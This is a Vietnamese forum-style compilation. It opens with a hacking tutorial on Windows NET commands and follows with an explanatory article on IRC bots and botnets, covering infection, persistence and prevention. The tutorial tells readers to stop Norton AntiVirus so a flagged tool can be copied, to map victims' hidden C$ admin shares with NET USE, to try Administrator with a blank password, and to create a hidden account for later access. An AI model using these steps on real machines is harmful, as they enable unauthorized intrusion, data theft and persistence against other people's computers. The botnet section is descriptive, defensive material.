Lệnh này liệt kê tên đầy đủ của các service đang chạy. Muốn dừng chúng thì phải gõ NET STOP [service] với tên service viết gọn giống như trong Control Panel. Ví dụ anh em đang dùng Norton Antivirus, rủi có chép một trình nào đó như Brutus chẳng hạn thì nó cứ nhảy ra và la lên là cái file đó có trojan bên trong. Thế là nó không cho anh em chép vào máy của mình. Bây giờ gõ lệnh sau:

NET STOP navapsvc

Màn hình sẽ hiện ra

The Norton AntiVirus Auto Protect Service service is stopping.
The Norton AntiVirus Auto Protect Service service was stopped successfully.

Bây giờ anh em ngó xuống cái icon của NAV phía dưới System Tray thì thấy nó bị gạch chéo (disabled) rồi. Đó là do mình tắt bằng NET STOP.

2. Managing File Shares and Printer Shares: Kiểm sóat, chia xẻ tài nguyên
Lệnh NET này đi kèm một số tham số sau: SHARE, VIEW, USE, FILE, SESSIONS

SHARE - hiển thị những chia xẻ trên máy, ví dụ

Share name Resource Remark

-----------------------------------------------------------
IPC$ Remote IPC
D$ D:\ Default share
F$ F:\ Default share
ADMIN$ E:\WINDOWS Remote Admin
C$ C:\ Default share
E$ E:\ Default share
The command completed successfully.

Các share có dấu $ là chia xẻ tài nguyên ở mức hệ thống cho admin, thường gọi là share ẩn.

VIEW - hiển thị tất cả các máy trong cùng domain hoặc workgroup

Server Name Remark

-----------------------------------------

\\CPQ25981604619 DTLong
\\DEFAULT-EBGQAMU
\\FERRARI Formula 1
\\JITH
\\JOE-VT6094JJ9
\\KACE
\\KENGCOM KengCOM
\\LOTUS
The command completed successfully.

Bây giờ ta bàn cách chiến đấu một số máy để tìm tài nguyên. Lệnh Net View cho phép xem tài nguyên chia xẻ của các máy cùng subnet. Cú pháp câu lệnh như sau:

NET VIEW [tên máy]

Ví dụ: NET VIEW \\KACE

Nếu máy này có chia xẻ tài nguyên, màn hình sẽ hiện ra tên của các share directory, lúc này ta chỉ việc phát lệnh sử dụng tài nguyên đó mà thôi.

Để chiếm dụng tài nguyên chia xẻ, anh em có thể dùng My Network Places / Network Neighborhood để truy nhập vào, ở đây ta dùng lệnh NET USE thay cho việc dùng My Network Places

NET USE * \\tên máy\tên share
hoặc
NET USE xxx.xxx.xxx.xxx

Trong đó tên máy là tên hiện ra qua lệnh NET VIEW. Trường hợp sử dụng IP của máy trong NET USE, anh em phải gõ IP vào.

Để biết IP của máy nạn nhân, có thể PING vào tên của máy. Ví dụ

PING LOTUS
Pinging lotus [202.129.41.106] with 32 bytes of data:

Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128
Reply from 202.129.41.106: bytes=32 time<1ms TTL=128

Ping statistics for 202.129.41.106:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

Như vậy, máy LOTUS có địa chỉ IP là 202.129.41.106

Trong lệnh NET USE, dấu * có nghĩa là lấy tên một ổ đĩa bất kỳ (từ A-Z) rồi ánh xạ share đó vào ổ đĩa tùy chọn ấy. Nếu trên LOTUS có share một thư mục là SharedDocs thì lúc này lệnh NET USE dùng như sau:

NET USE * \\LOTUS\SharedDocs

hoặc

NET USE * \\202.129.41.106\SharedDocs

Sau khi thành công, SharedDocs biến thành ổ đĩa Z (chẳng hạn) trên máy của anh em.

Có thể chiếm dụng sâu hơn vào trong tài nguyên ẩn của máy. Lệnh gõ như sau:

NET USE * \\202.129.41.106\C$

Nếu lệnh này thành công, ổ C của máy nạn nhân sẽ "bay" về máy anh em như một ổ đĩa của mình vậy. Dùng như trên máy mình và cũng có thể xóa lung tung như nó là của mình vậy. Tương tự, phỏng đoán máy nạn nhân có thể có vài ổ đĩa như D, E, F, anh em có thể thử lệnh trên với D$, E$, F$, G$ tới khi nào nó báo lỗi thì tức là ổ đĩa đó không có trên máy của nạn nhân.

Thường thì các share ẩn này share cho account admin nên khi mình gõ lệnh đó nó sẽ hỏi Username và Password. Nếu đoán được Username (ví dụ: LOTUS) thì gõ vào rồi cũng đóan luôn mật khẩu nhé (hơi khó đấy), bằng không thì anh em nhập Administrator vào cho Username, còn để password là rỗng (sau khi nhập Username thì gõ ENTER tiếp cho phần mật khẩu). Nếu may mắn tiếp thì có thể thóat qua được. Trường hợp này là do admin máy đó sơ sẩy không đổi password mặc định của Windows sau khi cài hệ điều hành. Và như vậy anh em có thể ung dung chiếm tài nguyên của nạn nhân rồi. Anh em sẽ đi du lịch trong máy nạn nhân, chép bất cứ cái gì anh em thích như là đang trên máy mình vậy. Tuy nhiên cơ hội thành công là rất thấp. Vì thế, lệnh NET USE này thường chỉ phát huy tác dụng cao với các máy có share tài nguyên cho mọi người (ví dụ như SharedDocs).

Lưu ý, có một mẹo nhỏ. Nếu anh em chiếm được quyền admin với account Administrator và password rỗng rồi thì anh em có thể dùng con Hyena tạo ra một account cho mình trên máy nạn nhân, đề phòng trong tương lai chúng cài service pack thì NET USE hết đường làm ăn. Lúc đó có con account kia rồi dễ bề tung hoành hơn.

Mấy lệnh trên là những lệnh chính thường dùng. Các lệnh còn lại xin anh em tham khảo thêm trên mạng nhé. Chúng đơn giản nói ra sợ anh em mất thời gian đọc.

Đoạn cuối của phần này xin được giới thiệu cùng anh em các câu lệnh về máy in và kiểm sóat thời gian.

3. Managing Network Print jobs and Network Time:
TIME, PRINT

Lệnh NET TIME cho biết thời gian của đồng hồ trên máy mạng. Câu lệnh là:

NET TIME \\tên máy

Ví dụ: NET TIME \\LOTUS

Lệnh này có nhiều biến thể khác, anh em chịu khó tham khảo. Tôi giới thiệu thêm về lệnh đồng bộ hóa đồng hồ máy mình với máy chủ trên mạng, cú pháp như sau:

NET TIME \\servername /SET /YES

Trong đó servername là tên của máy chủ

Lệnh NET PRINT có cú pháp như sau: NET PRINT \\ComputerName\ShareName

Hiển thị tác vụ hiện thời trên máy in, giống như việc xem xét thông qua Printer Manager xem có những tài liệu nào đang được máy in đó in ra.

ComputerName là tên máy chủ có share máy in
ShareName là tên share của máy in đó.

Để tạm ngưng (PAUSE) một lệnh in, có thể dùng lệnh sau

NET PRINT [\\ComputerName] job# /HOLD

ComputerName là tên máy có share printer còn job# tương đương số thứ tự của tài liệu in trên danh sách các tài liệu đang được in (1,2,3,4...)

Để tiếp tục in sau khi lệnh HOLD được thi hành, gõ vào lệnh

NET PRINT [\\ComputerName] job# /RELEASE

Để xóa, delete một lệnh in, ví dụ trong trường hợp in nhầm một văn bản lớn, anh em có thể gõ lệnh

NET PRINT [\\ComputerName] job# /DELETE

Bot & Botnet tấn công server

Bot & Botnet tấn công server :frown:(

Xem chi tiet tai: http://www.vietprogrammer.com/webmaster/3510-bot-botnet-tan-cong-server.html

1. Lời nói đầu
Internet ngày càng phát triển, cùng với nó các mạng botnet được sinh ra một cách bí mật và tiềm ẩn những nguy cơ lớn đối với an ninh mạng. Số lượng và kích cỡ botnet ngày càng tăng. Người ta đã tìm thấy và gỡ bỏ nhiều botnet trên Internet. Cảnh sát Hà Lan đã tìm thấy một botnet gồm 1.5 triệu nút và ISP Telenor của Na Uy đã dỡ bỏ một botnet 10.000 nút. Ở Việt Nam điển hình là vụ tấn công từ chối dịch vụ Flash-DDoS bằng botnet vào trang thương mại Việt Cơ (2006) và gần đây nhất là vụ tấn công DDoS hàng loạt các site như 5giay.vn, nhatnghe.vn,bkav.com.vn (của BKIS – Trung tâm an ninh mạng ĐHBKHN) ( tháng 09/2008 ) bằng botnet với số lượng máy bị kiểm soát lên đến hàng ngàn. Người ta đã khởi động các hoạt động hợp tác quốc tế lớn nhằm dập tắt các botnet. Vậy botnet là gì ? Botnet hình thành và hoạt động như thế nào? Các nguy cơ của botnet ? Bài viết này tôi sẽ đề cập đến IRC botnet và trả lời các câu hỏi trên.

*
o DoS và DDoS

Một cuộc tấn công từ chối dịch vụ (tấn công DoS) hay tấn công từ chối dịch vụ phân tán (tấn công DDoS) là sự cố gắng làm cho tài nguyên của một máy tính không thể sử dụng được nhằm vào những người dùng của nó. Mặc dù phương tiện để tiến hành, động cơ, mục tiêu của tấn công từ chối dịch vụ là khác nhau, nhưng nói chung nó gồm có sự phối hợp, sự cố gắng ác ý của một người hay nhiều người để chống lại Internet site hoặc service (dịch vụ Web) vận hành hiệu quả hoặc trong tất cả, tạm thời hay một các không xác định. Thủ phạm tẩn công từ chối dịch vụ nhằm vào các mục tiêu site hay server tiêu biểu như ngân hàng, cổng thanh toán thẻ tín dụng và thậm chí DNS root servers.
Một phương thức tấn công phổ biến kéo theo sự bão hoà máy mục tiêu với các yêu cầu liên lạc bên ngoài, đến mức nó không thể đâp ứng giao thông hợp pháp, hoặc dáp ứng quá chậm. Trong điều kiện chung, các cuộc tấn công DoS được bổ sung bởi ép máy mục tiêu khởi động lại hoặc tiêu thụ hết tài nguyên của nó đến mức nó không cung cấp dịch vụ, hoặc làm tắc nghẽn liên lạc giữa người sử dụng và nạn nhân.
Tấn công từ chối dịch vụ đựoc lưu ý sự vi phạm chính sách sử dụng đúng internet của IAB(Internet Architecture Board). Chúng cũng cấu thành sự vi phạm luật dân sự.


Phương pháp DoS truyền thống sử dụng một máy tính đơn gửi một số lượng lớn các yêu cầu (flooding requests) đến máy tính đơn khác. Mô hình DDoS sử dụng nhiều máy tính tấn công một mục tiêu đơn nhất. DDoS sử dụng mạng botnet để tấn công, về mặt lý thuyết khi mạng botnet này đủ lớn thì mục tiêu không thể chống đỡ nổi hơn nữa phương pháp này tạo ra các truy nhập hợp lệ khiến việc xác định nơi phát động tấn công là một khó khăn rất lớn.


*
o Internet Relay Chat (IRC)

IRC được sáng tạo ra bởi Jarkko Oikarinen (bí danh "WiZ") vào khoảng cuối tháng 8 năm 1988 để thay thế một chương trình có tên là MUT (MultiUser Talk) trên một kênh BBS gọi là OuluBox tại Phần Lan. Ông tìm được cảm hứng cho dự án của mình từ hệ thống Bitnet Relay Chat của mạng Bitnet.
IRC được nhiều người chú ý đến từ khi nó được dùng sau tấm màn sắt (Iron Curtain) để viết phóng sự trực tuyến về sự sụp đổ của Liên Bang Xô Viết trong khi tất cả các phương tiện truyền thông khác không hoạt động được. Thời gian gần đây, nó cũng được dùng một cách tương tự để viết phóng sự trong trận chiến giữa Kuwait và Iraq.
IRC là chữ viết tắt từ cụm từ Internet Relay Chat trong tiếng Anh. IRC là một dạng liên lạc cấp tốc qua mạng Internet. Nó được thiết kế với mục đích chính là cho phép các nhóm người trong một phòng thảo luận (channel) liên lạc với nhau. Tuy nhiên, nó cũng cho phép hai người dùng liên lạc riêng nếu họ thích.
Hiện nay IRC là mạng trò chuyện trực tuyến lớn, có vài triệu kênh trên máy phục vụ trên khắp thế giới. Giao thức viễn thông này cũ hơn IM; IRC từng là hoàn toàn đựa vào nhập thô ASCII. Tuy nhiên, hiện thời có mốt số ứng dụng đồ họa làm cho dễ sử dụng IRC hơn, gần bằng dùng IM.

Hình 01. Mô hình mạng IRC


Ngoài chát, IRC còn dùng để chia sẻ tập tin và tư liệu theo hình thức mạng ngang hàng.
Có nhiều ứng dụng khách IRC cho người dùng trên bất kỳ hệ điều hành. Một ứng dụng phổ biến là XChat. XChat là phần mềm tự do trên Linux/BSD, mặc dù phiên bản trên Windows là phần mềm dùng thử (30 ngày), cũng đã dịch sang tiếng Việt.
Conversation là một thí dụ của ứng dụng khách IRC mới, dễ dùng, đựa vào đồ họa. Không cần học hiểu lại cách sử dụng lệnh IRC.
Các ứng dụng khách Jabber cũng có khả năng trò chuyện qua IRC, nhưng chưa có truyền tải hữu hiệu.
Chương trình thông dụng khác để truy cập vào các máy chủ IRC là KVIrc và mIRC. mIRC là một phần mềm chia sẻ (shareware) dành cho người sử dụng IRC trên Windows (không hoạt động trên các hệ điều hành khác như Linux, Mac OS, PalmOS, Epoc, Atari's...), được sáng tạo, phát triển và đăng kí bản quyền bởi Khaled Mardam-Bey.


*
o Bot và botnet

Bot hay rôbôt mạng là các ứng dụng phần mềm chạy các tác vụ tự động hóa trên mạng. Thông thường, bot thực hiện các tác vụ đơn giản và có cấu trúc lặp đi lặp lại với một tần suất cao hơn nhiều so với khả năng của một soạn thảo viên là con người. Ứng dụng rộng lớn của bot là trong duyệt tự động Web theo kiểu bò loang (web spidering), trong đó một chương trình tự động tìm kiếm, phân tích và sắp xếp thông tin từ các máy chủ web với tốc độ cao hơn nhiều lần tốc độ của con người. Mỗi máy chủ có một file có tên robots.txt chứa các quy tắc cho việc bò loang tự động tại máy chủ đó, đây là các quy tắc mà con bot cần tuân theo.
Bot là viết tắt của robot, tức các chương trình tự động hoá (chứ không phải là người máy như nghĩa chúng ta vẫn gọi) thường xuyên được sử dụng trong thế giới Internet. Một ví dụ về bot đó là search enginer Người ta định nghĩa spider được dùng bởi các công cụ tìm kiếm trực tuyến, ánh xạ website và phần mềm đáp ứng theo yêu cầu trên IRC (như eggdrop) là robot.
Bên cạnh các ứng dụng kể trên, bot còn có thể được cài đặt tại nơi đòi hỏi tốc độ phản ứng cao hơn tốc độ của con người (chẳng hạn bot trò chơi điện tử và bot tại các trang web bán đấu giá) hoặc trong các tình huống cần đến sự bắt chước các hoạt động của con người (chẳng hạn các chatbot - bot nói chuyện).
Botnet là từ chỉ một tập hợp các rô bôt phần mềm hoặc các con bot hoạt động một cách tự chủ. Từ này còn được dùng để chỉ một mạng các máy tính sử dụng phần mềm tính toán phân tán.
Tuy từ "botnet" có thể dùng để chỉ một nhóm bot bất kỳ, chẳng hạn IRC bot, từ này thường được dùng để chỉ một tập hợp các máy tính đã bị tấn công và thỏa hiệp và đang chạy các chương trình độc hại, thường là sâu máy tính, trojan horse hay các cửa hậu, dưới cùng một hạ tầng cơ sở lệnh và điều khiển. Một chương trình chỉ huy botnet (botnet's originator hay bot herder) có thể điều khiển cả nhóm bot từ xa, thường là qua một phương tiện chẳng hạn như IRC, và thường là nhằm các mục đích bất chính. Mỗi con bot thường chạy ẩn và tuân theo chuẩn RFC 1459 (IRC). Thông thường, kẻ tạo botnet trước đó đã thỏa hiệp một loạt hệ thống bằng nhiều công cụ đa dạng (tràn bộ nhớ đệm, ...). Các bot mới hơn có thể tự động quét môi trường của chúng và tự lan truyền bản thân bằng cách sử dụng các lỗ hổng an ninh và mật khẩu yếu. Nếu một con bot có thể quét và tự lan truyền qua càng nhiều lỗ hổng an ninh, thì nó càng trở nên giá trị đối với một cộng đồng điều khiển botnet.
Các botnet đã trở nên một phần quan trọng của Internet, tuy chúng ngày càng ẩn kĩ. Do đa số các mạng IRC truyền thống thực hiện các biện pháp cấm truy nhập đối với các botnet đã từng ngụ tại đó, những người điều khiển botnet phải tự tìm các server cho mình. Một botnet thường bao gồm nhiều kết nối, chẳng hạn quay số, ADSL và cáp, và nhiều loại mạng máy tính, chẳng hạn mạng giáo dục, công ty, chính phủ và thậm chí quân sự. Đôi khi, một người điều khiển giấu một cài đặt IRC server trên một site công ty hoặc giáo dục, nơi các đường kết nối tốc độ cao có thể hỗ trợ một số lớn các bot khác. Chỉ đến gần đây, phương pháp sử dụng bot để chỉ huy các bot khác mới phát triển mạnh, do đa số hacker không chuyên (script kiddie) không đủ kiến thức để sử dụng phương pháp này.
Một xu hướng rất nguy hiểm trong thời gian gần đây là kẻ tấn công sử dụng botnet gồm hàng ngàn máy tính ma (máy tính đã bị khống chế hay còn gọi là zombie) để tấn công từ trối dịch vụ, nhằm vào các hệ thống của doanh nghiệp, tổ chức, chính phủ. Để tạo ra đội quân zombie hùng hậu này, chúng sử dụng virus, spyware hay các trojan lây nhiễm qua Internet, khi máy tính bị nhiểm máy tính đó sẽ bị kiểm soát một cách bí mật, từ xa bởi các Trojan. Có rất nhiều phương pháp điều khiển và quản lý zombie từ xa. Trong khuôn khổ bài viết này tôi chỉ đề cập đến việc điều khiển và quản lý bằng Trojan thong quan các kênh riêng Internet Relay Chat (IRC).


*
o IRC botnet

Mỗi một máy bị kiểm soát,bị cài một phần mềm nguy hiểm bí mật kết nối đến kênh IRC của kẻ tấn công gọi là một bot. Mạng các các kết nối tới một kênh IRC gọi là một botnet.
Bot cũng đồng nghĩa với agent (tác tử) trong phương thức DDoS truyền thống. Các bot này được điều khiển thông qua kênh IRC nó kết nối đến. Một bot khi được cài lên máy của nạn nhân, nó sẽ kết nối ra ngoài theo các cổng của dịch vụ IRC và tham gia vào các kênh riêng do kẻ tấn công tạo ra. Các kênh này năm trên các mạng phổ biến như Efnet, Undernet hay DALnet. Các mạng này là một công cụ miễn phí, ổn định để kẻ tấn công dễ dàng mở rộng, quản lý, duy trì và điều khiển đội quân bot.
Mạng IRC cung cấp cho kẻ tấn công khẳ năng dẽ dàng và mềm dẻo để điều khiển hàng trăm thậm trí hàng ngàn bot.
Theo Australian CERT, điểm cực kỳ nguy hiểm là các bot hiện nay có thể tân dụng được băng thông rộng và tài nguyên dư thừa của máy nạn nhân, những bot này sẽ có khả năng cực kỳ mạnh mẽ. Botnet với nhiều bot mạnh này sẽ tạo ra một sức mạnh vô cùng ghê gớm, có khả năng đánh sập bất kỳ hệ thống nào.

*
o Các thành phần cơ bản của IRC Bot

Attack
Bản chất bot là một chương trình nguy hiểm đã được lây nhiễm vào máy tính nạn nhân và bị kiểm soát bởi kẻ tấn công. Các bot được cấu hình để kết nối vào một kênh IRC bí mật và đợi lệnh tấn công .
- Bot: thường là một file thực thi, có khả năng thực hiện một tập lệnh đã được lập trình trước. Các lệnh này thường tác động trực tiếp đến máy tính bị lây nhiễm như ẩn các tác vụ của người quản trị. Bot sẽ tự copy đến một thư mục bí mật và thay đổi cấu hình trên máy lây nhiễm cho phép nó tự động kích hoạt khi máy khởi động.
Ví dụ trên nền Widows bot sẽ kích hoạt một phiên bản của nó lúc máy tính khởi động bằng cách thêm thông tin vào Registry : HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows \CurrentVersion\Run\
Thông thường bản nén của một bot có kích thước không quá 15kb.
Bot được lây nhiễm dưới dạng virus, sâu máy tính các loại malware khác hay được phát tán từ các site độc hại, site bị hacker kiểm soát. Với cách phát tán từ các website bot được tự động tải về máy do các lỗi của trình duyệt hay do người dùng không biết và click vào. Hình ảnh sau cho thấy mã cử một website đã bị chèn một file thực thin guy hiểm tên là Trojan.exe


Hình 02 . Mã một trang phát tán mã độc


Hình 3. Các thành phần IRC BOT


- Máy nạn nhân (Victim machine, hay còn gọi là zombie hay máy tính ma): là một máy tính có kết nối internet, đã bị cài một phần mềm nguy hiểm đóng vai trò là một bot của một botnet. Phần mềm nguy hiểm này có thể được cài theo nhiều cách, một trong các cách đó là cách lây nhiễm kể trên. Hay bị cài do các lỗi của phần mềm, hệ điều hành và gần đây một cách rất phổ biến là lây qua USB.


- Kẻ tấn công (Attacker): là người đã tạo ra và phát tán bot, người điều khiển và ra lệnh cho các bot kết nối tới server,kênh IRC định trước, là người ra lệnh tấn công đối với các bot.


- Kênh điều khiển (Control channel): là một kênh IRC bí mật được kẻ tấn công tạo ra nhằm kết nối các máy tính đã kiểm soát thông qua các bot khi các máy tính này kết nối vào mạng.Thông tin về kênh này đã được định sẵn trong các bot hay các bot có cơ chế để tự động cập nhật thông tin về kênh này.


-Máy chủ IRC (IRC Server): là máy chủ cung cấp dịch vụ IRC. Một số nguồn cung cấp dịch vụ IRC phổ biến như DALNET ... Kẻ tấn công cũng có thể dựng một máy chủ riêng.


-Botnet : tất cả các bot khi kết nối tới kênh điều khiển tạo thành mộ mạng lớn các nút gọi là botnet. Botnet này sẽ ở trong trạng thái sẵn sằng chờ lệnh tấn công của kẻ tạo ra nó.


*
o Các mối nguy hiểm bot và botnet có thể tạo ra



Các hành động sau có thể được thực hiện bởi kẻ tấn công khi sử dụng bot và botbet:
-Tấn công từ chối dịch vụ (DoS attack): đây chính là lý do lớn nhất khiến kẻ xấu sử dụng IRC bot. Kẻ tấn công có thể sử dụng sức mạnh của đội quân zombie bằng cách điều khiển và phát lệnh tấn công tới mục tiêu. Có thể hạ gục mục tiêu bằng các dòng dữ liệu UDP, ICMP lớn hay gửi các yêu cầu đồng bộ làm lụt TCP gây ghẽn đường truyền.
- Tiếp tục lây nhiễm cục bộ : với bot đã có kẻ tấn công có thể chiếm toàn bộ quyền kiểm soát máy bị lây nhiễm. Kẻ tấn công có thể tải về và cài các chương trình gián điệp (spy ware), trojan, key log…để theo dõi máy, thu thập các thông tin nhạy cảm của nạn nhân như thông tin cá nhân, tài khoản ngân hàng, thẻ tín dụng…
- Tận dụng băng thông của nạn nhân:: một mục đích sử dụng thú vị khác là tận dụng băng thông và tài nguyên rỗi của nạn nhân. Đặc biệt là các máy có băng thông rộng. Thậm chí giữa các nhóm tấn công cũng trao đổi với nhau tài nguyên này.


- Của hậu (Backdoor): với kiểu tấn công này, botnet còn có khả năng ẩn dấu và mở các kêt nối bí mật ra ngoài, để kẻ tấn công có thể dễ dàng xâm nhập vào lần tiếp theo.


- Chứa dữ liệu bất hợp pháp :với xu hướng này, kẻ tấn công có thể tân dụng các bot làm các mạng chia sẻ file, tận dụng để lưu trữ file, phần mềm bất hợp pháp, các đoạn video riêng,…
Thêm nữa, với việc giám sá các bot, kẻ tấn công có thể một cách bí mật theo dõi các ISP.


- Gửi thư rác (spam mail) : đây thực sự là một thách thức lớn đối với các chuyên gia bảo mật. Theo thông tin mới nhất (10/2008) các mạng botnet trung bình một ngày gửi 60 tỉ thư rác chiếm 20% tổng số thư rác/ngày.


*
o Mục tiêu và nạn nhân chính của bot & botnet

Tất cả các nguồn kết nối tới internet đều có thể là mục tiêu tấn công của kẻ xấu. Các hệ thống sơ hở có thể bị lây nhiễm bot là các hệ thống ít giám sát, băng thông và tài nguyên lớn, các máy tính cá nhân sử dụng ở nhà, các máy tính cá nhân, các máy chủ ở các trường đại học.


- Hệ thống có băng thông lớn: một trong các loại nguồn kết nối đến internet là các máy có đường truyền băng thông rộng, những máy như thế này có thể được sử dụng để tấn công từ chối dịch vụ phân tán (DDoS) hay lưu trữ file, phần mềm.


- Hệ thống có tính sẵn sang cao: kẻ tấn công luôn thích những hệ thống,máy có tính sẵn sang cao như : thời gian kết nối vào mạng lớn, tài nguyên dồi dào. Những hệ thống như thế sẽ luôn sẵn sang cho việc tấn công.


- Các hệ thống ít được giám sát và quan tâm: các hệ thống ít được để ý, quan tâm đến như không cập nhật bản vá, không có phần mềm bảo vệ … Kẻ xấu có thể tạo ra các công cụ tự động để rà, quét và tấn công các mục tiêu này, biến các mục tiêu này thành một nút của một botnet mà chủ nhân của nó không hề hay biết.


- Các hệ thống có vị trí địa lý xa: kẻ tấn công thích kiểm soát các hệ thống, máy tính ở những vùng địa lý xa với nơi kẻ tấn công ở nhằm tránh luật pháp sở tại và cũng để tiện cho việc che dấu dấu vết.


*
o Quá trình lây nhiễm và điều khiển bot

Phần này sẽ trình bày cách thức kẻ tấn công sử dụng bot, tùy biến bot cho phù hợp với mục đích sử dụng; cách thức kiểm soát máy bạn nhân, quá trình lây nhiễm và điều khiển bot, cách tấn công sử dụng zombie …


Lập trình và thay đổi mã nguồn: quá trình này tùy thuộc vào khảnăng của kẻ tấn công. Bot do kẻ đó viết hay tận dụng lại của người khác và chỉnh sửa cho phù hợp với mục đích sử dụng. Các thông tin tùy chỉnh trên các bot hoặc các bot cập nhật là IRC server, cổng IRC TCP, tên của kênh, mật khẩu hoặc mã chứng thực.
Thêm nữa, tùy thuộc vào mục đích sử dụng, kẻ tấn công có thể thay đổi vị chí, tên file đặt trên máy tính đã bị lây nhiễm. Ở mức cao hơn nữa kẻ tấn công có thể sử dụng các kênh IRC động hay sử dụng nhiều kênh IRC. Để làm như vậy kẻ tấn công có thể sự dụng các dịch vụ tên miền động như dyndns.com hay no-ip.com để ánh xạ tên server của IRC với IP máy chủ của nó..




Hình 4. Quá trình lây nhiễm và điều khiển bot
Hình trên mô tả một bot được lây nhiễm như thế nào? Quá nhân bản qua một lượng lớn các máy khác để tạo nên mạng các bot hay mạng các zombie.


The attacker, attempts to infect the victim machines with bots through either exploiting some operating system/application vulnerability or trick the user into executing a malicious program leading to bots installation.
Kẻ tấn công sẽ có gắng kiểm soát và lây nhiễm phần mềm nguy hiểm lên máy nạn nhân thông qua các lỗ hổng của ứng dụng, hệ điều hành hay bằng một cách thức nào đó lừa người sử dụng chạy chương trình kich hoạt bot. Ví dụ : một số trang cung cấp các bản bẻ khóa phần mềm, các trang cho download miễn phí,… đi kèm với chúng là virus, phần mềm gián điệp,… Người sử dụng máy tính thiếu hiểu biết sẽ dễ dàng bị mắc lừa và kích hoạt bot.
(1) Cách cơ bản là kẻ tấn công làm lây nhiễm hàng hoạt và tự động một số lượng lớn các máy tính dựa trên mã khai thác lỗ hổng mà các máy này mắc phải. Sau đó kẻ tấn công có thể kiểm soát các máy này, cài phần mềm backdoor (của hậu) lên chúng và có thể dùng chúng là nguồn phát tán và lây nhiễm mã độc. Việc rà quét tự động và khai thác lỗ hổng có thể do phần mềm dạng sâu máy tính (worm) đảm nhiệm. Một cách khác là kẻ tấn công sử dụng các trang web, đặc biệt là các trang web lớn và uy tín mà chúng kiểm soát được, chúng sẽ chèn mã độc vào đó, người dùng thông thường đã có sự tin tưởng đối với những site này và dễ dàng chấp nhận việc download về máy tính khi có của sổ download hiện lên. Bản than chính phần mềm IRC cũng có thể đã bị chèn mã độc và và người dùng cài đặt cùng với IRC mà không hề hay biết.
Sauk khi cài đặt thành công trên máy nạn nhân, bot sẽ copy thành nhiều bản trên máy tính nạn nhân, cập nhật thông tin registry (trên windows).
Ở bước (2) bot sẽ thực hiện kết nối tới IRC server với nickname ngẫu nhiên, sử dụng khóa bí mật để kết nối vào kênh riêng mà kẻ tấn công đã thiết lập trước đó.


Nhiều khi kẻ tấn công có thể sử dụng các server IRC công cộng cho các hoạt động tấn công này, tất nhiên khi bị phát hiện thì người quản trị hệ thống này sẽ loại bỏ kênh đó và kẻ tấn công cũng sẽ mất đi đội quan zombie kết nối vào đó. Do đó để tranh việc này kẻ tấn công thường sử dụng các dịch vụ như dyndns.com, no -ip.com để ánh xạ động các bot đến nhiều server IRC (ở bước (3)).
Ở bước (4), bot đã hoàn tất việc cài đặt và kết nối, sẵn sàng chờ lệnh phát động từ người sở hưu nó (bước (5)).
Bước (6), kẻ tấn công truy nhập kênh kiểm soát duy trì và điều khiển các bot. Thông thường mật khẩu để điều khiển hệ thống bí mật này sẽ được mã hóa và có cơ chế bị botnet khó bị một kẻ khác chiếm đoạt mất quyền điều khiển.
Bước (7), kẻ tấn công điều khiển các zombie trực tiếp hoặc từ xa và phát lệnh tấn công mục tiêu. Tấn công phổ biến là tấn công từ chối dịch vụ (như minh họa trên), gửi thư rác, đánh cắp thông tin cá nhân,… Kẻ tấn công cố gắng tạo ra việc truy nhập mục tiêu từ các zombie càng giống thật càng tốt. Tấn công DDoS kiểu này, yêu cầu gửi đến mục tiêu xuất phát từ tất cả cá zombie với các IP khác nhau khiến việc xác định kẻ tấn công vô cùng khó khăn.


*
o Một số bot cơ bản

Phần này tôi liệt kê một số bot nguy hiểm chạy trên hệ điều hành windows.
Chi tiết có thể tham khảo them tại Trojan list sorted on action .
GTbot
Các thông tin them về GTbot có thể tham khảo tại http://swatit.org/bots/gtbot.html :
- sử dụng các chương trình mIRC hợp lệ
- dễ dàng viết lại hay chỉnh sửa các nội dung điều khiển
Tên gọi khác: W32.IRCBot,
Cổng (Ports): tự cấu hình
Sử dụng: Truy nhập từ xa / IRC trojan
Registers: HKEY_LOCAL_MACHINE \SOFTWARE \Microsoft \Windows \CurrentVersion\ Run\
Hệ điều hành chịu tác động: Wi ndows 95, 98, ME, NT, 2000, XP.




Hình 5. Minh họa tấn công sử dụng mIRC




















Evilbot

Hình 6. EvilBot v1.0
Nguồn : http://www.megasecurity.org/trojans/e/evilbot/Evilbot_a.html


Kích thước file nén: 15.904 bytes
Cổng (Ports): mặc định 6667 (có thể thay đổi)
Mục đích sử dụng: Truy nhập từ xa / IRC trojan / Công cụ tấn công DDoS / tải trojan về máy nạn nhân
Registers: HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\ Run\ Hệ điều hành chịu tác động: Windows 95, 98, ME, NT, 2000 , XP.
Thông tin them:
http://securityresponse.symantec.com...or.evilbot.html


SlackBot
Tên gọi khác : Backdoor.Slackbot, DDOS/Slack, Troj/Slack, Slack,
Cổng (Ports): 6667 (có thể thay đổi)
Files: Slackbot.zip - Slackbot1_0.zip - Zwbv.exe - Sbconfig.exe -
Mục đích sử dụng: Truy nhập từ xa / IRC trojan / Công cụ tấn công DDoS / tải trojan về máy nạn nhân
Registers: HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\ Run\ Hệ điều hành chịu tác động: tất cả các phiên bản của hệ điều hành windows cùng với các phần mềm IRC.


*
o Phòng chống bot và botnet

Phòng thử chống lại việc lây nhiễm và tấn công của bot chia làm 3 nội dung chính:


- Phòng ngừa: người sử dụng, những người quản trị hệ thống nên hiểu cơ chế lây nhiễm và phát tán các bot để có các phòng ngừa. Sử dụng các chương trình phát hiện, tiêu diệt virus, mã độc,…sử dụng hệ thống tường lửa, các hệ thống phát hiện xâm nhập,...
- Phát hiện: có thể phát hiện việc xuất hiện của bot bằng cách giám sát các tiến trình, giám sát băng thông và gói tin trong mạng. Xem các cảnh báo, log file từ các hệ thống cảnh báo, tường lửa,…
- Xử lý: xử lý khi phát hiện có bot, xử lý khi bị botnet tấn công


Đối với người dùng thông thường (Dạng Home user)
Phòng ngừa :
- Tuân thủ các chính sách bảo mật
- Cập nhật các bản vá các phần mềm trên máy
- Tham khảo thông tin cập nhật tại cert.org phần “Home Network Security” Home Network Security đây là những nội dung rất căn bản và hữu ích..
